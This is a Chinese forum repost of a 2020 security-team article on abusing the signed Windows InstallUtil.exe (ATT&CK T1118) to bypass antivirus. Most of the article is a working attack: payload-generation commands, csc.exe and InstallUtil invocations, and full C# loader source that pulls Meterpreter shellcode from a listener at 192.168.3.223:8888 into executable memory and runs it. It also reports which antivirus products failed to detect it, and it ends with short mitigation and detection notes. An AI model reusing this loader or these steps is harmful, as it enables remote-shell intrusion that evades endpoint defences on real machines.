搜索

[1915] 2020-03-17_ATT&CK白名单InstallUtil.exe绕过火绒腾讯管家360杀毒等杀软

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2020-03-17_ATT&CK白名单InstallUtil.exe绕过火绒腾讯管家360杀毒等杀软 A T T & C K | 白 名 单 I n s t a l l U t i l . e x e 绕 过 火 绒   腾 讯 管 家   3 6 0 杀 毒 等 杀 软 W H I T E   D e a d E y e 安 全 团 队   2 0 2 0 - 0 3 - 1 7 0 x 0 0   简 介 简 介 A T T & C K 编 号 ： T 1 1 1 8 战 术 ： 防 御 逃 避 ， 执 行 平 台 ： W i n d o w s 所 需 权 限 ： 用 户 数 据 源 ： 进 程 监 视 ， 进 程 命 令 行 参 数 绕 过 防 御 ： 进 程 白 名 单 ， 数 字 证 书 验 证 I n s t a l l U t i l   是 一 个 命 令 行 实 用 程 序 ， 它 允 许 通 过 执 行 。 n e t   二 进 制 文 件 中 指 定 的 特 定 安 装 程 序 组 件 来 安 装 和 卸 载 资 源 。 [ 1 ]   I n s t a l l U t i l   位 于   W i n d o w s   系 统 的 。 N E T   目 录 中 ：   和   .   I n s t a l l U t i l . e x e   具 有   M i c r o s o f t   的 数 字 签 名 。 攻 击 者 可 以 通 过 受 信 的   W i n d o w s   实 用 程 序 使 用   I n s t a l l U t i l   来 代 理 代 码 的 执 行 。 通 过 利 用 执 行 由   。 [ 2 ] 修 饰 的 类 的 二 进 制 文 件 中 的 属 性 ， I n s t a l l U t i l   还 可 用 于 来 绕 过 进 程 白 名 单 。 0 x 0 1   环 境 环 境 攻 击 机 ： K a l i 受 害 机 ： W i n d o w s 7 依 赖 环 境 ： M i c r o s o f t . N E T   F r a m e w o r k   v 4 . 0 . 3 0 3 1 9 0 x 0 2   利 用 过 程 利 用 过 程 用 的 比 较 多 的 是 C S C . e x e + I n s t a l l U t i l . e x e 加 载 s h e l l c o d e ， 流 程 为 ： m s f 生 成 C # 格 式 s h e l l c o d e   - >   加 密 s h e l l c o d e   - >   解 密 并 加 载 s h e l l c o d e   - >   c s c . e x e 编 译 成 . j p g 文 件   - >   I n s t a l l U t i l . e x e 白 名 单 执 行 。 之 前 b a c k l i o n 师 傅 和 亮 神 都 介 绍 过 这 种 方 法 。 1 .   常 规 用 法 常 规 用 法 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / k h r 0 x 4 0 s h / W h i t e L i s t E v a s i o n . g i t 生 成 c s 文 件 p y t h o n   I n s t a l l U t i l . p y   - - c s _ f i l e   t e m p . c s   - - e x e _ n a m e   t e m p . e x e   - - p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   - - l h o s t   1 9 2 . 1 6 8 . 1 . 1 1   - - l p o r t 4 4 3 攻 击 机 打 开 m s f 中 使 用 p a y l o a d : 设 置 监 听 C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v I n s t a l l U t i l . e x e C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v I n s t a l l U t i l . e x e [ S y s t e m . C o m p o n e n t M o d e l . R u n I n s t a l l e r ( t r u e ) ] c s c . e x e   p e n t e s t l a b . c s w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p . I n s t a l l U t i l . e x e   / l o g f i l e =   / l o g t o c o n s o l e = f a l s e   / u   p e n t e s t l a b . e x e
m s f 上 线 成 功 此 方 法 已 经 不 免 杀 2 .   免 杀 用 法 免 杀 用 法 将 下 面 代 码 的 部 分 改 为 M S F 监 听 的 I P 和 端 口 ， 这 种 类 似 于 开 个 s o c k e t 接 收 m s f 传 送 来 的 s h e l l c o d e 进 行 执 行 u s i n g   S y s t e m ; u s i n g   S y s t e m . N e t ; u s i n g   S y s t e m . L i n q ; u s i n g   S y s t e m . N e t . S o c k e t s ; u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ; u s i n g   S y s t e m . T h r e a d i n g ; u s i n g   S y s t e m . C o n f i g u r a t i o n . I n s t a l l ; u s i n g   S y s t e m . W i n d o w s . F o r m s ; p u b l i c   c l a s s   x i k G y Q h i W F t L f e a   {       p u b l i c   s t a t i c   v o i d   M a i n ( )   {               w h i l e   ( t r u e )   {   {                               M e s s a g e B o x . S h o w ( " d o g e " ) ;                               C o n s o l e . R e a d L i n e ( ) ;                     }             }     } } [ S y s t e m . C o m p o n e n t M o d e l . R u n I n s t a l l e r ( t r u e ) ] p u b l i c   c l a s s   t l V M K e r n I c g K   :   S y s t e m . C o n f i g u r a t i o n . I n s t a l l . I n s t a l l e r   {       p u b l i c   o v e r r i d e   v o i d   U n i n s t a l l ( S y s t e m . C o l l e c t i o n s . I D i c t i o n a r y   D f Y h O E i e g J c z V c b )   {               x P d Y s Y u X n S n G w . p o Q M z d P ( ) ;     } } p u b l i c   c l a s s   x P d Y s Y u X n S n G w   {     [ D l l I m p o r t ( " k e r n e l 3 2 " ) ]   p r i v a t e   s t a t i c   e x t e r n   U I n t 3 2   V i r t u a l A l l o c ( U I n t 3 2   J k W c Z P j I f o H i ,   U I n t 3 2   Q z V L S f v ,   U I n t 3 2   W w Z v p I ,   U I n t 3 2 k z a s n l r C x ) ;   [ D l l I m p o r t ( " k e r n e l 3 2 " ) ] p r i v a t e   s t a t i c   e x t e r n   I n t P t r   C r e a t e T h r e a d ( U I n t 3 2   p H k j j h G C ,   U I n t 3 2   n v h w A f G R p a a n ,   U I n t 3 2 o m t H l q v n Y U w a n g ,   I n t P t r   R j A k y A q E j l R c y n ,   U I n t 3 2   J C i v B C M U x ,   r e f   U I n t 3 2   H C B P u O k v h o Y U G ) ;     [ D l l I m p o r t ( " k e r n e l 3 2 " ) ]   p r i v a t e   s t a t i c   e x t e r n   U I n t 3 2   W a i t F o r S i n g l e O b j e c t ( I n t P t r   w Y V g y a ,   U I n t 3 2   i k k l P O d v Y t ) ;       s t a t i c   b y t e [ ]   l X s d N P t ( s t r i n g   G p v I v U R j y A D h M j k ,   i n t   Y C t O q j K h K O V x )   {               I P E n d P o i n t   S z c U w w r   =   n e w   I P E n d P o i n t ( I P A d d r e s s . P a r s e ( G p v I v U R j y A D h M j k ) ,   Y C t O q j K h K O V x ) ;               S o c k e t   c h Q x z a y B F U M p q t   =   n e w   S o c k e t ( A d d r e s s F a m i l y . I n t e r N e t w o r k ,   S o c k e t T y p e . S t r e a m ,   P r o t o c o l T y p e . T c p ) ;               t r y   {                       c h Q x z a y B F U M p q t . C o n n e c t ( S z c U w w r ) ;             }   c a t c h   {                       r e t u r n   n u l l ;             }               b y t e [ ]   D l k o U d k   =   n e w   b y t e [ 4 ] ;               c h Q x z a y B F U M p q t . R e c e i v e ( D l k o U d k ,   4 ,   0 ) ;               i n t   A X w x W B m S O r w h   =   B i t C o n v e r t e r . T o I n t 3 2 ( D l k o U d k ,   0 ) ;               b y t e [ ]   G w v B q M F F   =   n e w   b y t e [ A X w x W B m S O r w h     +     5 ] ;               i n t   v W j T k y   =   0 ;               w h i l e   ( v W j T k y   <   A X w x W B m S O r w h )   {                       v W j T k y   + =   c h Q x z a y B F U M p q t . R e c e i v e ( G w v B q M F F ,   v W j T k y     +     5 ,   ( A X w x W B m S O r w h     -     v W j T k y )   <   4 0 9 6   ? ( A X w x W B m S O r w h     -     v W j T k y )   :   4 0 9 6 ,   0 ) ;             } Q x K p v X   =   l X s d N P t ( " 1 9 2 . 1 6 8 . 3 . 2 2 3 " ,   8 8 8 8 ) ;
              b y t e [ ]   S Y F A S U F o s C H j k   =   B i t C o n v e r t e r . G e t B y t e s ( ( i n t ) c h Q x z a y B F U M p q t . H a n d l e ) ;               A r r a y . C o p y ( S Y F A S U F o s C H j k ,   0 ,   G w v B q M F F ,   1 ,   4 ) ;               G w v B q M F F [ 0 ]   =   0 x B F ;               r e t u r n   G w v B q M F F ;     }       s t a t i c   v o i d   m j n x R G l B t g s K a N L ( b y t e [ ]   H C p a o W P e u s D e v Y )   {               i f   ( H C p a o W P e u s D e v Y   ! =   n u l l )   {                       U I n t 3 2   V c g i C T P F D F   =   V i r t u a l A l l o c ( 0 ,   ( U I n t 3 2 ) H C p a o W P e u s D e v Y . L e n g t h ,   0 x 1 0 0 0 ,   0 x 4 0 ) ;                       M a r s h a l . C o p y ( H C p a o W P e u s D e v Y ,   0 ,   ( I n t P t r ) ( V c g i C T P F D F ) ,   H C p a o W P e u s D e v Y . L e n g t h ) ;                       I n t P t r   s y u S Y j h   =   I n t P t r . Z e r o ;                       U I n t 3 2   T L w A O D f r e I h M N   =   0 ;                       I n t P t r   I a s k p T O K F   =   I n t P t r . Z e r o ;                       s y u S Y j h   =   C r e a t e T h r e a d ( 0 ,   0 ,   V c g i C T P F D F ,   I a s k p T O K F ,   0 ,   r e f   T L w A O D f r e I h M N ) ;                       W a i t F o r S i n g l e O b j e c t ( s y u S Y j h ,   0 x F F F F F F F F ) ;             }     }       p u b l i c   s t a t i c   v o i d   p o Q M z d P ( )   {               b y t e [ ]   Q x K p v X   =   n u l l ;               Q x K p v X   =   l X s d N P t ( " 1 9 2 . 1 6 8 . 3 . 2 2 3 " ,   8 8 8 8 ) ;               m j n x R G l B t g s K a N L ( Q x K p v X ) ;     } } 源 代 码 地 址 ： h t t p s : / / p a s t e b i n . c o m / s N L X 2 P H U   将 s h e l l c o d e 传 到 受 害 机 的 目 录 ， 然 后 使 用 c s c 编 译 I n s t a l l U t i l - S h e l l C o d e . c s C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 > c s c . e x e   / p l a t f o r m : x 6 4   / r : S y s t e m . E n t e r p r i s e S e r v i c e s . d l l   / r : S y s t e m . I O . C o m p r e s s i o n . d l l   / t a r g e t : l i b r a r y   / o u t : C : W i n d o w s T e m p s h e l l . e x e   / u n s a f e C : W i n d o w s T e m p s h e l l . c s 攻 击 机 打 开 m s f 中 使 用 p a y l o a d : 设 置 监 听 编 译 生 成 的 s h e l l . e x e 直 接 执 行 是 不 行 的 ， 需 要 使 用 I n s t a l l U t i l . e x e 来 触 发 。 C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 > I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   C : W i n d o w s T e m p s h e l l . e x e C : W i n d o w s T e m p w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p
m s f 上 线 成 功 0 x 0 3   查 杀 效 果 查 杀 效 果 使 用 I n s t a l l U t i l . e x e 执 行 s h e l l . e x e ， 腾 讯 管 家 、 3 6 0 杀 毒 、 火 绒 动 态 和 静 态 均 无 预 警 。 3 6 0 安 全 卫 士 会 检 测 到 I n s t a l l U t i l . e x e 执 行 预 警 。
V i r u s T o t a l . c o m 中 s h e l l . e x e 文 件 3 / 7 1 个 报 病 毒 。 0 x 0 4   缓 解 缓 解 在 给 定 的 环 境 中 ， I n s t a l l U t i l   可 能 不 是 必 需 的 。 如 果 给 定 的 系 统 或 网 络 不 需 要   I n s t a l l U t i l . e x e ， 配 置 应 用 程 序 白 名 单 来 拦 截 其 执 行 ， 防 止 攻 击 者 潜 在 的 滥 用 。 0 x 0 5   检 测 检 测 使 用 进 程 监 视 来 监 视   I n s t a l l U t i l . e x e   的 执 行 和 参 数 。 将   I n s t a l l U t i l . e x e   最 近 的 调 用 与 之 前 的 已 知 良 好 参 数 调 用 和 已 执 行 的 二 进 制 文 件 进 行 比 较 ， 以 确 定 异 常 和 潜 在 的 攻 击 活 动 。 I n s t a l l U t i l . e x e   调 用 前 后 使 用 的 命 令 参 数 也 可 能 有 助 于 确 定 执 行 的 二 进 制 文 件 的 来 源 和 目 的 。 0 x 0 5   参 考 资 料 参 考 资 料 I n s t a l l U t i l & c s c . e x e - b y p a s s   a p p l i c a t i o n   w h i t e l i s t i n g c s h a r p   编 译 文 件 绕 过 防 病 毒 软 件 利 用 手 法 分 析 M I T R E   A T T & C K   I n s t a l l U t i l 插 播 一 条 广 告 内 网 第 三 期 正 在 火 热 招 生 中 ！ 插 播 一 条 广 告 内 网 第 三 期 正 在 火 热 招 生 中 ！

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理